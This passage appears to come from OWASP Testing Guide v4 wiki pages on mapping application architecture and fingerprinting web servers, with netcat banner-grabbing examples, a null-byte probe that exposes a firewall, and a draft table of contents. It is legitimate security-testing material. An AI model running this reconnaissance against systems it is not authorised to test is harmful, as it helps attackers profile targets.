On more complex setups, such as an online bank system, multiple servers might be involved. These may include a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalls between them. This creates different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated so that they will not compromise the whole architecture.

Getting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.

In the latter case, a tester will first start with the assumption that there is a simple setup (a single server). Then they will retrieve information from other tests and derive the different elements, question this assumption and extend the architecture map. The tester will start by asking simple questions such as: “Is there a firewalling system protecting the web server?”. This question will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced to determine the type of firewall used based on network packet tests. Is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed?

Detecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if ‘WebSEAL’[1] is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention systems” (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request that targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between blocking them.

In some cases, even the protection system gives itself away:

<pre>
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

HTTP/1.0 200
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 83

<TITLE>Error</TITLE>
<BODY>
<H1>Error</H1>
FW-1 at XXXXXX: Access denied.</BODY>
</pre>

'''Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server'''

Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based on the server header. They can also be detected by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.

Another element that can be detected is network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results to determine if the requests are going to the same or different web servers. For example, based on the Date header if the server clocks are not synchronized. In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel’s Alteon WebSystems load balancer.

Application web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers), or to rewrite URLs automatically to do session tracking.

Authentication back ends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.

The use of a back end database can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly," it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers (‘id’) when browsing the different articles in the shop. However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.

==References==
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
* [2] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

OWASP Testing Guide v4 Table of Contents

2014-08-01T18:52:53Z

Jane O'Connor:

{{OWASP Breakers}}
__NOTOC__

'''This is the FINAL table of content of the New Testing Guide v4.''' 
 At the moment the project is in the REVIEW phase. You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 1st April 2014'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==

==[[Testing Guide Frontispiece |1. Frontispiece]]==

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

'''2.4 Deriving Security Test Requirements'''

'''2.5 Security Tests Integrated in Development and Testing Workflows'''

'''2.6 Security Test Data Analysis and Reporting'''

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Security Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']]

[[Testing Checklist| 4.1.1 Testing Checklist]]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]]

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]]

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]]

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]]

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]]

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]]

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]]

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]]

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]]

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Application Architecture (OTG-INFO-011) ]]

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]]

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]]

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]]

[[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]]

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]]

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]]

[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]]

[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]]

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]]

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]]

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]]

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]]

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]]

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]]

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]]

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]]

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]]

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]]

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]]

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]]

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]]

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]]

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]]

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]]

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]]

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]]

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]]

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.6 Testing for logout functionality (OTG-SESS-007)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.7 Test Session Timeout (OTG-SESS-008)]]

[[Testing for Session puzzling (OTG-SESS-010)|4.7.8 Testing for Session puzzling (OTG-SESS-010)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]]

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]]

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]]

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]]

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-006)]]

[[Testing for Oracle|4.8.5.1 Oracle Testing]]

[[Testing for MySQL|4.8.5.2 MySQL Testing]]

[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.5.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.6 Testing for LDAP Injection (OTG-INPVAL-007)]]

[[Testing for ORM Injection (OWASP-DV-007)|4.8.7 Testing for ORM Injection (OTG-INPVAL-008)]]

[[Testing for XML Injection (OWASP-DV-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-009)]]

[[Testing for SSI Injection (OWASP-DV-009)|4.8.9 Testing for SSI Injection (OTG-INPVAL-010)]]

[[Testing for XPath Injection (OWASP-DV-010)|4.8.10 Testing for XPath Injection (OTG-INPVAL-011)]]

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.11 IMAP/SMTP Injection (OTG-INPVAL-012)]]

[[Testing for Code Injection (OWASP-DV-012)|4.8.12 Testing for Code Injection (OTG-INPVAL-013)]]

[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.13 Testing for Command Injection (OTG-INPVAL-014)]]

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-015)]]

[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.14.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-016)]]

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.16 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]]

[[Testing for Error Handling|'''4.9 Testing for Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]]

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]]

[[Testing for weak Cryptography|'''4.10 Testing for weak Cryptography''']]

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.1 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]]

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-003)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]

[[Testing for business logic (OWASP-BL-001)|'''4.11 Business Logic Testing (OWASP-BL-001)''']]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.11.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]]

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.11.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.11.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]

[[Test for Process Timing (OTG-BUSLOGIC-007)|4.11.4 Test for Process Timing (OTG-BUSLOGIC-004)]]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.11.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]]

[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-009)|4.11.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.11.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-015)|4.11.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

[[Test Upload of Malicious Files (OTG-BUSLOGIC-016)|4.11.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

[[Client Side Testing|'''4.12 Client Side Testing''']] 

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.12.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]]

[[Testing for JavaScript Execution|4.12.2 Testing for JavaScript Execution (OWASP-CS-002)]]

[[Testing for HTML Injection|4.12.3 Testing for HTML Injection (OWASP-CS-003)]]

[[Testing for Client Side URL Redirect|4.12.4 Testing for Client Side URL Redirect (OWASP-CS-004)]]

[[Testing_for_CSS_Injection|4.12.5 Testing for CSS Injection (OWASP-CS-005)]]

[[Testing_for_Client_Side_Resource_Manipulation|4.12.6 Testing for Client Side Resource Manipulation (OWASP-CS-006)]]

[[Test Cross Origin Resource Sharing (OTG-CLIENT-002)|4.12.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]]

[[Testing for Cross site flashing (OWASP-DV-004)|4.12.8 Testing for Cross Site Flashing (OTG-CLIENT-008)]]

[[Testing for Clickjacking (OWASP-CS-004)|4.12.9 Testing for Clickjacking (OTG-CLIENT-009)]]

[[Testing WebSockets (OTG-CLIENT-005)|4.12.10 Testing WebSockets (OTG-CLIENT-010)]]

[[Test Web Messaging (OTG-CLIENT-006)|4.12.11 Test Web Messaging (OTG-CLIENT-011)]]

[[Test Local Storage (OTG-CLIENT-007)|4.12.12 Test Local Storage (OTG-CLIENT-012)]]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]]

[[How to write the report of the testing |5.2 How to write the report of the testing]]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==

* Whitepapers
* Books
* Useful Websites

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

* Input Encoding
* Output Encoding

----

ARTICLES DELETED:

INFO GATHERING:

CONFIGURATION AND DEPLOY MANAGEMENT TESTING:

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

IDENTITY MANAGEMENT TESTING:

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

AUTHORIZATION TESTING:

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

SESSION MANAGEMENT TESTING:

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

DATA VALIDATION TESTING:

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

CRYPTOGRAPHY:

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

BUSINESS LOGIC:

XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates)

DENIAL OF SERVICE

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]

WEB SERVICES TESTING

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Category:OWASP Testing Project]]

Fingerprint Web Application (OTG-INFO-009)

2014-08-01T18:51:46Z

Jane O'Connor: I have not fully copied Andrew's changes as I want him to clarify changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

There is nothing new under the sun, and nearly every web application that one may think of developing has already been developed. With the vast number of free and open source software projects that are actively developed and deployed around the world, it is very likely that an application security test will face a target site that is entirely or partly dependent on these well known applications (e.g. Wordpress, phpBB, Mediawiki, etc). Knowing the web application components that are being tested significantly helps in the testing process and will also drastically reduce the effort required during the test. These well known web applications have known HTML headers, cookies, and directory structures that can be enumerated to identify the application.

== Test Objectives ==

Identify the web application and version to determine known vulnerabilities and the appropriate exploits to use during testing.

== How to Test ==

=== Black Box Testing===
The simplest and most basic form of identifying a web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. Consider the following HTTP Request-Response:
<pre>
$ nc 202.41.76.251 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html
</pre>

From the ''Server'' field, we understand that the server is likely Apache, version 1.3.3, running on Linux operating system.

Four examples of the HTTP response headers are shown below.

From an '''Apache 1.3.23''' server:
<pre>
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>

From a '''Microsoft IIS 5.0''' server:
<pre>
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d
Content-Length: 7369
</pre>

From a '''Netscape Enterprise 4.1''' server:
<pre>
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
</pre>

From a '''SunONE 6.1''' server:
<pre>
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Accept-Ranges: bytes
Connection: close
</pre>

However, this testing methodology is not very good. There are several techniques that allow a web site to obfuscate or to modify the server banner string.

For example a tester could obtain the following answer:
<pre>
403 HTTP/1.1 Forbidden
Date: Mon, 16 Jun 2003 02:41: 27 GMT
Server: Unknown-Webserver/1.0
Connection: close
Content-Type: text/HTML; charset=iso-8859-1
</pre>

In this case, the server field of that response is obfuscated and the tester cannot know what type of web server is running.

==== Protocol behavior ====
More refined techniques take in consideration various characteristics of the several web servers available on the market. The following sections list some methodologies that allow us to deduce the type of web server in use.

'''HTTP header field ordering'''

The first method consists of observing the order of the several headers in the response. Every web server has an inner order of the header. Consider the following answers as an example:

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>

Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
</pre>

Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
</pre>

Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0
Content-type: text/html
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close
</pre>

One can see that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise, and IIS.

'''Malformed requests test'''

